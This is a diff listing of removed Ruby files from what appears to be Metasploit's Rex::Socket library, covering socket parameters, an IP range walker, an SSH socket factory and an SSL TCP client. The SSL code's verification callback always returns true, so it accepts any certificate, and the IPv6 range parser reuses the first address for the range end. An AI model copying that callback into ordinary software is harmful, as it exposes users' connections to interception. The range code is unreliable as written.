# The protocol to to use, such as TCP. Equivalent to the Proto parameter
|
||||
# hash key.
|
||||
# @return [String]
|
||||
attr_accessor :proto
|
||||
|
||||
# Whether or not this is a server. Equivalent to the Server parameter
|
||||
# hash key.
|
||||
# @return [Bool]
|
||||
attr_accessor :server
|
||||
|
||||
# The {Comm} instance that should be used to create the underlying socket.
|
||||
# @return [Comm]
|
||||
attr_accessor :comm
|
||||
|
||||
# The context hash that was passed in to the structure. (default: {})
|
||||
# @return [Hash]
|
||||
attr_accessor :context
|
||||
|
||||
# The number of attempts that should be made.
|
||||
# @return [Fixnum]
|
||||
attr_accessor :retries
|
||||
|
||||
# The number of seconds before a connection attempt should time out.
|
||||
# @return [Fixnum]
|
||||
attr_accessor :timeout
|
||||
|
||||
# Whether or not this is a bare (non-extended) socket instance that should
|
||||
# be created.
|
||||
# @return [Bool]
|
||||
attr_accessor :bare
|
||||
|
||||
# Whether or not SSL should be used to wrap the connection.
|
||||
# @return [Bool]
|
||||
attr_accessor :ssl
|
||||
|
||||
# Pre configured SSL Context to use
|
||||
# @return [OpenSSL::SSL::SSLContext]
|
||||
attr_accessor :sslctx
|
||||
|
||||
# What version of SSL to use (Auto, SSL2, SSL3, SSL23, TLS1)
|
||||
# @return [String,Symbol]
|
||||
attr_accessor :ssl_version
|
||||
|
||||
# What specific SSL Cipher(s) to use, may be a string containing the cipher
|
||||
# name or an array of strings containing cipher names e.g.
|
||||
# ["DHE-RSA-AES256-SHA", "DHE-DSS-AES256-SHA"]
|
||||
# @return [String,Array]
|
||||
attr_accessor :ssl_cipher
|
||||
|
||||
# The SSL certificate, in pem format, stored as a string. See
|
||||
# {Rex::Socket::SslTcpServer#makessl}
|
||||
# @return [String]
|
||||
attr_accessor :ssl_cert
|
||||
|
||||
# Enables SSL/TLS-level compression
|
||||
# @return [Bool]
|
||||
attr_accessor :ssl_compression
|
||||
|
||||
#
|
||||
# The SSL context verification mechanism
|
||||
#
|
||||
attr_accessor :ssl_verify_mode
|
||||
|
||||
#
|
||||
# Whether we should use IPv6
|
||||
# @return [Bool]
|
||||
attr_accessor :v6
|
||||
|
||||
|
||||
# List of proxies to use
|
||||
# @return [String]
|
||||
attr_accessor :proxies
|
||||
|
||||
alias peeraddr peerhost
|
||||
alias localaddr localhost
|
||||
end
|
|
@ -1,470 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
|
||||
module Rex
|
||||
module Socket
|
||||
|
||||
###
|
||||
#
|
||||
# This class provides an interface to enumerating an IP range
|
||||
#
|
||||
# This class uses start,stop pairs to represent ranges of addresses. This
|
||||
# is very efficient for large numbers of consecutive addresses, and not
|
||||
# show-stoppingly inefficient when storing a bunch of non-consecutive
|
||||
# addresses, which should be a somewhat unusual case.
|
||||
#
|
||||
# @example
|
||||
# r = RangeWalker.new("10.1,3.1-7.1-255")
|
||||
# r.include?("10.3.7.255") #=> true
|
||||
# r.length #=> 3570
|
||||
# r.each do |addr|
|
||||
# # do something with the address
|
||||
# end
|
||||
###
|
||||
class RangeWalker
|
||||
|
||||
# The total number of IPs within the range
|
||||
#
|
||||
# @return [Fixnum]
|
||||
attr_reader :length
|
||||
|
||||
# for backwards compatibility
|
||||
alias :num_ips :length
|
||||
|
||||
# A list of the {Range ranges} held in this RangeWalker
|
||||
# @return [Array]
|
||||
attr_reader :ranges
|
||||
|
||||
# Initializes a walker instance using the supplied range
|
||||
#
|
||||
# @param parseme [RangeWalker,String]
|
||||
def initialize(parseme)
|
||||
if parseme.is_a? RangeWalker
|
||||
@ranges = parseme.ranges.dup
|
||||
else
|
||||
@ranges = parse(parseme)
|
||||
end
|
||||
reset
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the instance method
|
||||
#
|
||||
# This is basically only useful for determining if a range can be parsed
|
||||
#
|
||||
# @return (see #parse)
|
||||
def self.parse(parseme)
|
||||
self.new.parse(parseme)
|
||||
end
|
||||
|
||||
#
|
||||
# Turn a human-readable range string into ranges we can step through one address at a time.
|
||||
#
|
||||
# Allow the following formats:
|
||||
# "a.b.c.d e.f.g.h"
|
||||
# "a.b.c.d, e.f.g.h"
|
||||
# where each chunk is CIDR notation, (e.g. '10.1.1.0/24') or a range in nmap format (see {#expand_nmap})
|
||||
#
|
||||
# OR this format
|
||||
# "a.b.c.d-e.f.g.h"
|
||||
# where a.b.c.d and e.f.g.h are single IPs and the second must be
|
||||
# bigger than the first.
|
||||
#
|
||||
# @param parseme [String]
|
||||
# @return [self]
|
||||
# @return [false] if +parseme+ cannot be parsed
|
||||
def parse(parseme)
|
||||
return nil if not parseme
|
||||
ranges = []
|
||||
parseme.split(', ').map{ |a| a.split(' ') }.flatten.each do |arg|
|
||||
opts = {}
|
||||
|
||||
# Handle IPv6 first (support ranges, but not CIDR)
|
||||
if arg.include?(":")
|
||||
addrs = arg.split('-', 2)
|
||||
|
||||
# Handle a single address
|
||||
if addrs.length == 1
|
||||
addr, scope_id = addrs[0].split('%')
|
||||
opts[:scope_id] = scope_id if scope_id
|
||||
opts[:ipv6] = true
|
||||
|
||||
return false unless Rex::Socket.is_ipv6?(addr)
|
||||
addr = Rex::Socket.addr_atoi(addr)
|
||||
ranges.push(Range.new(addr, addr, opts))
|
||||
next
|
||||
end
|
||||
|
||||
addr1, scope_id = addrs[0].split('%')
|
||||
opts[:scope_id] = scope_id if scope_id
|
||||
|
||||
addr2, scope_id = addrs[0].split('%')
|
||||
( opts[:scope_id] ||= scope_id ) if scope_id
|
||||
|
||||
# Both have to be IPv6 for this to work
|
||||
return false unless (Rex::Socket.is_ipv6?(addr1) && Rex::Socket.is_ipv6?(addr2))
|
||||
|
||||
# Handle IPv6 ranges in the form of 2001::1-2001::10
|
||||
addr1 = Rex::Socket.addr_atoi(addr1)
|
||||
addr2 = Rex::Socket.addr_atoi(addr2)
|
||||
|
||||
ranges.push(Range.new(addr1, addr2, opts))
|
||||
next
|
||||
|
||||
# Handle IPv4 CIDR
|
||||
elsif arg.include?("/")
|
||||
# Then it's CIDR notation and needs special case
|
||||
return false if arg =~ /[,-]/ # Improper CIDR notation (can't mix with 1,3 or 1-3 style IP ranges)
|
||||
return false if arg.scan("/").size > 1 # ..but there are too many slashes
|
||||
ip_part,mask_part = arg.split("/")
|
||||
return false if ip_part.nil? or ip_part.empty? or mask_part.nil? or mask_part.empty?
|
||||
return false if mask_part !~ /^[0-9]{1,2}$/ # Illegal mask -- numerals only
|
||||
return false if mask_part.to_i > 32 # This too -- between 0 and 32.
|
||||
if ip_part =~ /^\d{1,3}(\.\d{1,3}){1,3}$/
|
||||
return false unless ip_part =~ Rex::Socket::MATCH_IPV4
|
||||
end
|
||||
begin
|
||||
Rex::Socket.getaddress(ip_part) # This allows for "www.metasploit.com/24" which is fun.
|
||||
rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT
|
||||
return false # Can't resolve the ip_part, so bail.
|
||||
end
|
||||
|
||||
expanded = expand_cidr(arg)
|
||||
if expanded
|
||||
ranges.push(expanded)
|
||||
else
|
||||
return false
|
||||
end
|
||||
|
||||
# Handle hostnames
|
||||
elsif arg =~ /[^-0-9,.*]/
|
||||
# Then it's a domain name and we should send it on to addr_atoi
|
||||
# unmolested to force a DNS lookup.
|
||||
begin
|
||||
ranges += Rex::Socket.addr_atoi_list(arg).map { |a| Range.new(a, a, opts) }
|
||||
rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT
|
||||
return false
|
||||
end
|
||||
|
||||
# Handle IPv4 ranges
|
||||
elsif arg =~ /^([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})-([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})$/
|
||||
|
||||
# Then it's in the format of 1.2.3.4-5.6.7.8
|
||||
# Note, this will /not/ deal with DNS names, or the fancy/obscure 10...1-10...2
|
||||
begin
|
||||
start, stop = Rex::Socket.addr_atoi($1), Rex::Socket.addr_atoi($2)
|
||||
return false if start > stop # The end is greater than the beginning.
|
||||
ranges.push(Range.new(start, stop, opts))
|
||||
rescue Resolv::ResolvError, ::SocketError, Errno::ENOENT
|
||||
return false
|
||||
end
|
||||
else
|
||||
# Returns an array of ranges
|
||||
expanded = expand_nmap(arg)
|
||||
if expanded
|
||||
expanded.each { |r| ranges.push(r) }
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Remove any duplicate ranges
|
||||
ranges = ranges.uniq
|
||||
|
||||
return ranges
|
||||
end
|
||||
|
||||
#
|
||||
# Resets the subnet walker back to its original state.
|
||||
#
|
||||
# @return [self]
|
||||
def reset
|
||||
return false if not valid?
|
||||
@curr_range_index = 0
|
||||
@curr_addr = @ranges.first.start
|
||||
@length = 0
|
||||
@ranges.each { |r| @length += r.length }
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
# Returns the next IP address.
|
||||
#
|
||||
# @return [String] The next address in the range
|
||||
def next_ip
|
||||
return false if not valid?
|
||||
if (@curr_addr > @ranges[@curr_range_index].stop)
|
||||
# Then we are at the end of this range. Grab the next one.
|
||||
|
||||
# Bail if there are no more ranges
|
||||
return nil if (@ranges[@curr_range_index+1].nil?)
|
||||
|
||||
@curr_range_index += 1
|
||||
|
||||
@curr_addr = @ranges[@curr_range_index].start
|
||||
end
|
||||
addr = Rex::Socket.addr_itoa(@curr_addr, @ranges[@curr_range_index].ipv6?)
|
||||
|
||||
if @ranges[@curr_range_index].options[:scope_id]
|
||||
addr = addr + '%' + @ranges[@curr_range_index].options[:scope_id]
|
||||
end
|
||||
|
||||
@curr_addr += 1
|
||||
return addr
|
||||
end
|
||||
|
||||
alias :next :next_ip
|
||||
|
||||
# Whether this RangeWalker's ranges are valid
|
||||
def valid?
|
||||
(@ranges && !@ranges.empty?)
|
||||
end
|
||||
|
||||
# Returns true if the argument is an ip address that falls within any of
|
||||
# the stored ranges.
|
||||
#
|
||||
# @return [true] if this RangeWalker contains +addr+
|
||||
# @return [false] if not
|
||||
def include?(addr)
|
||||
return false if not @ranges
|
||||
if (addr.is_a? String)
|
||||
addr = Rex::Socket.addr_atoi(addr)
|
||||
end
|
||||
@ranges.map { |r|
|
||||
if addr.between?(r.start, r.stop)
|
||||
return true
|
||||
end
|
||||
}
|
||||
return false
|
||||
end
|
||||
|
||||
#
|
||||
# Returns true if this RangeWalker includes *all* of the addresses in the
|
||||
# given RangeWalker
|
||||
#
|
||||
# @param other [RangeWalker]
|
||||
def include_range?(other)
|
||||
return false if (!@ranges || @ranges.empty?)
|
||||
return false if !other.ranges || other.ranges.empty?
|
||||
|
||||
# Check that all the ranges in +other+ fall within at least one of
|
||||
# our ranges.
|
||||
other.ranges.all? do |other_range|
|
||||
ranges.any? do |range|
|
||||
other_range.start.between?(range.start, range.stop) && other_range.stop.between?(range.start, range.stop)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Calls the given block with each address. This is basically a wrapper for
|
||||
# {#next_ip}
|
||||
#
|
||||
# @return [self]
|
||||
def each(&block)
|
||||
while (ip = next_ip)
|
||||
block.call(ip)
|
||||
end
|
||||
reset
|
||||
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Returns an Array with one element, a {Range} defined by the given CIDR
|
||||
# block.
|
||||
#
|
||||
# @see Rex::Socket.cidr_crack
|
||||
# @param arg [String] A CIDR range
|
||||
# @return [Range]
|
||||
# @return [false] if +arg+ is not valid CIDR notation
|
||||
def expand_cidr(arg)
|
||||
start,stop = Rex::Socket.cidr_crack(arg)
|
||||
if !start or !stop
|
||||
return false
|
||||
end
|
||||
range = Range.new
|
||||
range.start = Rex::Socket.addr_atoi(start)
|
||||
range.stop = Rex::Socket.addr_atoi(stop)
|
||||
range.options = { :ipv6 => (arg.include?(":")) }
|
||||
|
||||
return range
|
||||
end
|
||||
|
||||
#
|
||||
# Expands an nmap-style host range x.x.x.x where x can be simply "*" which
|
||||
# means 0-255 or any combination and repitition of:
|
||||
# i,n
|
||||
# n-m
|
||||
# i,n-m
|
||||
# n-m,i
|
||||
# ensuring that n is never greater than m.
|
||||
#
|
||||
# non-unique elements will be removed
|
||||
# e.g.:
|
||||
# 10.1.1.1-3,2-2,2 => ["10.1.1.1", "10.1.1.2", "10.1.1.3"]
|
||||
# 10.1.1.1-3,7 => ["10.1.1.1", "10.1.1.2", "10.1.1.3", "10.1.1.7"]
|
||||
#
|
||||
# Returns an array of Ranges
|
||||
#
|
||||
def expand_nmap(arg)
|
||||
# Can't really do anything with IPv6
|
||||
return false if arg.include?(":")
|
||||
|
||||
# nmap calls these errors, but it's hard to catch them with our
|
||||
# splitting below, so short-cut them here
|
||||
return false if arg.include?(",-") or arg.include?("-,")
|
||||
|
||||
bytes = []
|
||||
sections = arg.split('.')
|
||||
if sections.length != 4
|
||||
# Too many or not enough dots
|
||||
return false
|
||||
end
|
||||
sections.each { |section|
|
||||
if section.empty?
|
||||
# pretty sure this is an unintentional artifact of the C
|
||||
# functions that turn strings into ints, but it sort of makes
|
||||
# sense, so why not
|
||||
# "10...1" => "10.0.0.1"
|
||||
section = "0"
|
||||
end
|
||||
|
||||
if section == "*"
|
||||
# I think this ought to be 1-254, but this is how nmap does it.
|
||||
section = "0-255"
|
||||
elsif section.include?("*")
|
||||
return false
|
||||
end
|
||||
|
||||
# Break down the sections into ranges like so
|
||||
# "1-3,5-7" => ["1-3", "5-7"]
|
||||
ranges = section.split(',', -1)
|
||||
sets = []
|
||||
ranges.each { |r|
|
||||
bounds = []
|
||||
if r.include?('-')
|
||||
# Then it's an actual range, break it down into start,stop
|
||||
# pairs:
|
||||
# "1-3" => [ 1, 3 ]
|
||||
# if the lower bound is empty, start at 0
|
||||
# if the upper bound is empty, stop at 255
|
||||
#
|
||||
bounds = r.split('-', -1)
|
||||
return false if (bounds.length > 2)
|
||||
|
||||
bounds[0] = 0 if bounds[0].nil? or bounds[0].empty?
|
||||
bounds[1] = 255 if bounds[1].nil? or bounds[1].empty?
|
||||
bounds.map!{|b| b.to_i}
|
||||
return false if bounds[0] > bounds[1]
|
||||
else
|
||||
# Then it's a single value
|
||||
bounds[0] = r.to_i
|
||||
end
|
||||
return false if bounds[0] > 255 or (bounds[1] and bounds[1] > 255)
|
||||
return false if bounds[1] and bounds[0] > bounds[1]
|
||||
if bounds[1]
|
||||
bounds[0].upto(bounds[1]) do |i|
|
||||
sets.push(i)
|
||||
end
|
||||
elsif bounds[0]
|
||||
sets.push(bounds[0])
|
||||
end
|
||||
}
|
||||
bytes.push(sets.sort.uniq)
|
||||
}
|
||||
|
||||
#
|
||||
# Combinitorically squish all of the quads together into a big list of
|
||||
# ip addresses, stored as ints
|
||||
#
|
||||
# e.g.:
|
||||
# [[1],[1],[1,2],[1,2]]
|
||||
# =>
|
||||
# [atoi("1.1.1.1"),atoi("1.1.1.2"),atoi("1.1.2.1"),atoi("1.1.2.2")]
|
||||
addrs = []
|
||||
for a in bytes[0]
|
||||
for b in bytes[1]
|
||||
for c in bytes[2]
|
||||
for d in bytes[3]
|
||||
ip = (a << 24) + (b << 16) + (c << 8) + d
|
||||
addrs.push ip
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
addrs.sort!
|
||||
addrs.uniq!
|
||||
|
||||
rng = Range.new
|
||||
rng.options = { :ipv6 => false }
|
||||
rng.start = addrs[0]
|
||||
|
||||
ranges = []
|
||||
1.upto(addrs.length - 1) do |idx|
|
||||
if addrs[idx - 1] + 1 == addrs[idx]
|
||||
# Then this address is contained in the current range
|
||||
next
|
||||
else
|
||||
# Then this address is the upper bound for the current range
|
||||
rng.stop = addrs[idx - 1]
|
||||
ranges.push(rng.dup)
|
||||
rng.start = addrs[idx]
|
||||
end
|
||||
end
|
||||
rng.stop = addrs[addrs.length - 1]
|
||||
ranges.push(rng.dup)
|
||||
return ranges
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# A range of IP addresses
|
||||
class Range
|
||||
|
||||
#@!attribute start
|
||||
# The first address in this range, as a number
|
||||
# @return [Fixnum]
|
||||
attr_accessor :start
|
||||
#@!attribute stop
|
||||
# The last address in this range, as a number
|
||||
# @return [Fixnum]
|
||||
attr_accessor :stop
|
||||
#@!attribute options
|
||||
# @return [Hash]
|
||||
attr_accessor :options
|
||||
|
||||
# @param start [Fixnum]
|
||||
# @param stop [Fixnum]
|
||||
# @param options [Hash] Recognized keys are:
|
||||
# * +:ipv6+
|
||||
# * +:scope_id+
|
||||
def initialize(start=nil, stop=nil, options=nil)
|
||||
@start = start
|
||||
@stop = stop
|
||||
@options = options
|
||||
end
|
||||
|
||||
# Compare attributes with +other+
|
||||
# @param other [Range]
|
||||
# @return [Boolean]
|
||||
def ==(other)
|
||||
(other.start == start && other.stop == stop && other.ipv6? == ipv6? && other.options == options)
|
||||
end
|
||||
|
||||
# The number of addresses in this Range
|
||||
# @return [Fixnum]
|
||||
def length
|
||||
stop - start + 1
|
||||
end
|
||||
alias :count :length
|
||||
|
||||
# Whether this Range contains IPv6 or IPv4 addresses
|
||||
# @return [Boolean]
|
||||
def ipv6?
|
||||
options[:ipv6]
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -1,46 +0,0 @@
|
|||
module Rex
|
||||
module Socket
|
||||
|
||||
# This class exists to abuse the Proxy capabilities in the Net::SSH library to allow the use of Rex::Sockets
|
||||
# for the transport layer in Net::SSH. The SSHFactory object will respond to the #open method and create the
|
||||
# {Rex::Socket::Tcp}
|
||||
class SSHFactory
|
||||
|
||||
# @!attribute msfraemwork
|
||||
# @return [Object] The framework instance object
|
||||
attr_accessor :framework
|
||||
# @!attribute msfmodule
|
||||
# @return [Object] The metasploit module this socket belongs to
|
||||
attr_accessor :msfmodule
|
||||
# @!attribute proxies
|
||||
# @return [String] Any proxies to use for the connection
|
||||
attr_accessor :proxies
|
||||
|
||||
def initialize(framework, msfmodule, proxies)
|
||||
@framework = framework
|
||||
@msfmodule = msfmodule
|
||||
@proxies = proxies
|
||||
end
|
||||
|
||||
# Responds to the proxy setup routine Net::SSH will call when
|
||||
# initialising the Transport Layer. This will instead create our
|
||||
# {Rex::Socket::Tcp} and tie the socket back to the calling module
|
||||
# @param host [String] The host to open the connection to
|
||||
# @param port [Fixnum] the port to open the connection on
|
||||
# @param options [Hash] the options hash
|
||||
def open(host, port, options={})
|
||||
socket = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => host,
|
||||
'PeerPort' => port,
|
||||
'Proxies' => proxies,
|
||||
'Context' => {
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => msfmodule
|
||||
}
|
||||
)
|
||||
msfmodule.add_socket(socket) if msfmodule
|
||||
socket
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -1,374 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'rex/socket'
|
||||
###
|
||||
#
|
||||
# This class provides methods for interacting with an SSL TCP client
|
||||
# connection.
|
||||
#
|
||||
###
|
||||
module Rex::Socket::SslTcp
|
||||
|
||||
begin
|
||||
@@loaded_openssl = false
|
||||
|
||||
begin
|
||||
require 'openssl'
|
||||
@@loaded_openssl = true
|
||||
require 'openssl/nonblock'
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
|
||||
include Rex::Socket::Tcp
|
||||
|
||||
##
|
||||
#
|
||||
# Factory
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Creates an SSL TCP instance.
|
||||
#
|
||||
def self.create(hash = {})
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
hash['SSL'] = true
|
||||
self.create_param(Rex::Socket::Parameters.from_hash(hash))
|
||||
end
|
||||
|
||||
#
|
||||
# Set the SSL flag to true and call the base class's create_param routine.
|
||||
#
|
||||
def self.create_param(param)
|
||||
param.ssl = true
|
||||
Rex::Socket::Tcp.create_param(param)
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Class initialization
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Initializes the SSL socket.
|
||||
#
|
||||
def initsock(params = nil)
|
||||
super
|
||||
|
||||
# Default to SSLv23 (automatically negotiate)
|
||||
version = :SSLv23
|
||||
|
||||
# Let the caller specify a particular SSL/TLS version
|
||||
if params
|
||||
case params.ssl_version
|
||||
when 'SSL2', :SSLv2
|
||||
version = :SSLv2
|
||||
# 'TLS' will be the new name for autonegotation with newer versions of OpenSSL
|
||||
when 'SSL23', :SSLv23, 'TLS', 'Auto'
|
||||
version = :SSLv23
|
||||
when 'SSL3', :SSLv3
|
||||
version = :SSLv3
|
||||
when 'TLS1','TLS1.0', :TLSv1
|
||||
version = :TLSv1
|
||||
when 'TLS1.1', :TLSv1_1
|
||||
version = :TLSv1_1
|
||||
when 'TLS1.2', :TLSv1_2
|
||||
version = :TLSv1_2
|
||||
end
|
||||
end
|
||||
|
||||
# Raise an error if no selected versions are supported
|
||||
if ! OpenSSL::SSL::SSLContext::METHODS.include? version
|
||||
raise ArgumentError, 'The system OpenSSL does not support the requested SSL/TLS version'
|
||||
end
|
||||
|
||||
# Try intializing the socket with this SSL/TLS version
|
||||
# This will throw an exception if it fails
|
||||
initsock_with_ssl_version(params, version)
|
||||
|
||||
# Track the SSL version
|
||||
self.ssl_negotiated_version = version
|
||||
end
|
||||
|
||||
def initsock_with_ssl_version(params, version)
|
||||
# Build the SSL connection
|
||||
self.sslctx = OpenSSL::SSL::SSLContext.new(version)
|
||||
|
||||
# Configure the SSL context
|
||||
# TODO: Allow the user to specify the verify mode callback
|
||||
# Valid modes:
|
||||
# VERIFY_CLIENT_ONCE
|
||||
# VERIFY_FAIL_IF_NO_PEER_CERT
|
||||
# VERIFY_NONE
|
||||
# VERIFY_PEER
|
||||
if params.ssl_verify_mode
|
||||
self.sslctx.verify_mode = OpenSSL::SSL.const_get("VERIFY_#{params.ssl_verify_mode}".intern)
|
||||
else
|
||||
# Could also do this as graceful faildown in case a passed verify_mode is not supported
|
||||
self.sslctx.verify_mode = OpenSSL::SSL::VERIFY_PEER
|
||||
end
|
||||
|
||||
self.sslctx.options = OpenSSL::SSL::OP_ALL
|
||||
|
||||
if params.ssl_cipher
|
||||
self.sslctx.ciphers = params.ssl_cipher
|
||||
end
|
||||
|
||||
# Set the verification callback
|
||||
self.sslctx.verify_callback = Proc.new do |valid, store|
|
||||
self.peer_verified = valid
|
||||
true
|
||||
end
|
||||
|
||||
# Tie the context to a socket
|
||||
self.sslsock = OpenSSL::SSL::SSLSocket.new(self, self.sslctx)
|
||||
|
||||
# If peerhost looks like a hostname, set the undocumented 'hostname'
|
||||
# attribute on sslsock, which enables the Server Name Indication (SNI)
|
||||
# extension
|
||||
self.sslsock.hostname = self.peerhost if !Rex::Socket.dotted_ip?(self.peerhost)
|
||||
|
||||
# Force a negotiation timeout
|
||||
begin
|
||||
Timeout.timeout(params.timeout) do
|
||||
if not allow_nonblock?
|
||||
self.sslsock.connect
|
||||
else
|
||||
begin
|
||||
self.sslsock.connect_nonblock
|
||||
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
|
||||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
IO::select(nil, nil, nil, 0.10)
|
||||
retry
|
||||
|
||||
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
|
||||
rescue ::Exception => e
|
||||
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
|
||||
IO::select( [ self.sslsock ], nil, nil, 0.10 )
|
||||
retry
|
||||
end
|
||||
|
||||
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
|
||||
IO::select( nil, [ self.sslsock ], nil, 0.10 )
|
||||
retry
|
||||
end
|
||||
|
||||
raise e
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Timeout::Error
|
||||
raise Rex::ConnectionTimeout.new(params.peerhost, params.peerport)
|
||||
end
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Stream mixin implementations
|
||||
#
|
||||
##
|
||||
|
||||
#
|
||||
# Writes data over the SSL socket.
|
||||
#
|
||||
def write(buf, opts = {})
|
||||
return sslsock.write(buf) if not allow_nonblock?
|
||||
|
||||
total_sent = 0
|
||||
total_length = buf.length
|
||||
block_size = 16384
|
||||
retry_time = 0.5
|
||||
|
||||
begin
|
||||
while( total_sent < total_length )
|
||||
s = Rex::ThreadSafe.select( nil, [ self.sslsock ], nil, 0.25 )
|
||||
if( s == nil || s[0] == nil )
|
||||
next
|
||||
end
|
||||
data = buf[total_sent, block_size]
|
||||
sent = sslsock.write_nonblock( data )
|
||||
if sent > 0
|
||||
total_sent += sent
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::IOError, ::Errno::EPIPE
|
||||
return nil
|
||||
|
||||
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
|
||||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
# Sleep for a half a second, or until we can write again
|
||||
Rex::ThreadSafe.select( nil, [ self.sslsock ], nil, retry_time )
|
||||
# Decrement the block size to handle full sendQs better
|
||||
block_size = 1024
|
||||
# Try to write the data again
|
||||
retry
|
||||
|
||||
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
|
||||
rescue ::Exception => e
|
||||
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
|
||||
IO::select( [ self.sslsock ], nil, nil, retry_time )
|
||||
retry
|
||||
end
|
||||
|
||||
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
|
||||
IO::select( nil, [ self.sslsock ], nil, retry_time )
|
||||
retry
|
||||
end
|
||||
|
||||
# Another form of SSL error, this is always fatal
|
||||
if e.kind_of?(::OpenSSL::SSL::SSLError)
|
||||
return nil
|
||||
end
|
||||
|
||||
# Bubble the event up to the caller otherwise
|
||||
raise e
|
||||
end
|
||||
|
||||
total_sent
|
||||
end
|
||||
|
||||
#
|
||||
# Reads data from the SSL socket.
|
||||
#
|
||||
def read(length = nil, opts = {})
|
||||
if not allow_nonblock?
|
||||
length = 16384 unless length
|
||||
begin
|
||||
return sslsock.sysread(length)
|
||||
rescue ::IOError, ::Errno::EPIPE, ::OpenSSL::SSL::SSLError
|
||||
return nil
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
|
||||
begin
|
||||
while true
|
||||
s = Rex::ThreadSafe.select( [ self.sslsock ], nil, nil, 0.10 )
|
||||
if( s == nil || s[0] == nil )
|
||||
next
|
||||
end
|
||||
return sslsock.read_nonblock( length )
|
||||
end
|
||||
|
||||
rescue ::IOError, ::Errno::EPIPE
|
||||
return nil
|
||||
|
||||
# Ruby 1.8.7 and 1.9.0/1.9.1 uses a standard Errno
|
||||
rescue ::Errno::EAGAIN, ::Errno::EWOULDBLOCK
|
||||
# Sleep for a tenth a second, or until we can read again
|
||||
Rex::ThreadSafe.select( [ self.sslsock ], nil, nil, 0.10 )
|
||||
# Decrement the block size to handle full sendQs better
|
||||
block_size = 1024
|
||||
# Try to write the data again
|
||||
retry
|
||||
|
||||
# Ruby 1.9.2+ uses IO::WaitReadable/IO::WaitWritable
|
||||
rescue ::Exception => e
|
||||
if ::IO.const_defined?('WaitReadable') and e.kind_of?(::IO::WaitReadable)
|
||||
IO::select( [ self.sslsock ], nil, nil, 0.5 )
|
||||
retry
|
||||
end
|
||||
|
||||
if ::IO.const_defined?('WaitWritable') and e.kind_of?(::IO::WaitWritable)
|
||||
IO::select( nil, [ self.sslsock ], nil, 0.5 )
|
||||
retry
|
||||
end
|
||||
|
||||
# Another form of SSL error, this is always fatal
|
||||
if e.kind_of?(::OpenSSL::SSL::SSLError)
|
||||
return nil
|
||||
end
|
||||
|
||||
raise e
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Closes the SSL socket.
|
||||
#
|
||||
def close
|
||||
sslsock.close rescue nil
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Ignore shutdown requests
|
||||
#
|
||||
def shutdown(how=0)
|
||||
# Calling shutdown() on an SSL socket can lead to bad things
|
||||
# Cause of http://metasploit.com/dev/trac/ticket/102
|
||||
end
|
||||
|
||||
#
|
||||
# Access to peer cert
|
||||
#
|
||||
def peer_cert
|
||||
sslsock.peer_cert if sslsock
|
||||
end
|
||||
|
||||
#
|
||||
# Access to peer cert chain
|
||||
#
|
||||
def peer_cert_chain
|
||||
sslsock.peer_cert_chain if sslsock
|
||||
end
|
||||
|
||||
#
|
||||
# Access to the current cipher
|
||||
#
|
||||
def cipher
|
||||
sslsock.cipher if sslsock
|
||||
end
|
||||
|
||||
#
|
||||
# Prevent a sysread from the bare socket
|
||||
#
|
||||
def sysread(*args)
|
||||
raise RuntimeError, "Invalid sysread() call on SSL socket"
|
||||
end
|
||||
|
||||
#
|
||||
# Prevent a sysread from the bare socket
|
||||
#
|
||||
def syswrite(*args)
|
||||
raise RuntimeError, "Invalid syswrite() call on SSL socket"
|
||||
end
|
||||
|
||||
#
|
||||
# This flag determines whether to use the non-blocking openssl
|
||||
# API calls when they are available. This is still buggy on
|
||||
# Linux/Mac OS X, but is required on Windows
|
||||
#
|
||||
def allow_nonblock?
|
||||
avail = self.sslsock.respond_to?(:accept_nonblock)
|
||||
if avail and Rex::Compat.is_windows
|
||||
return true
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
attr_reader :peer_verified # :nodoc:
|
||||
attr_reader :ssl_negotiated_version # :nodoc:
|
||||
attr_accessor :sslsock, :sslctx, :sslhash # :nodoc:
|
||||
|
||||
def type?
|
||||
return 'tcp-ssl'
|
||||
end
|
||||
|
||||
protected
|
||||
|
||||
attr_writer :peer_verified # :nodoc:
|
||||
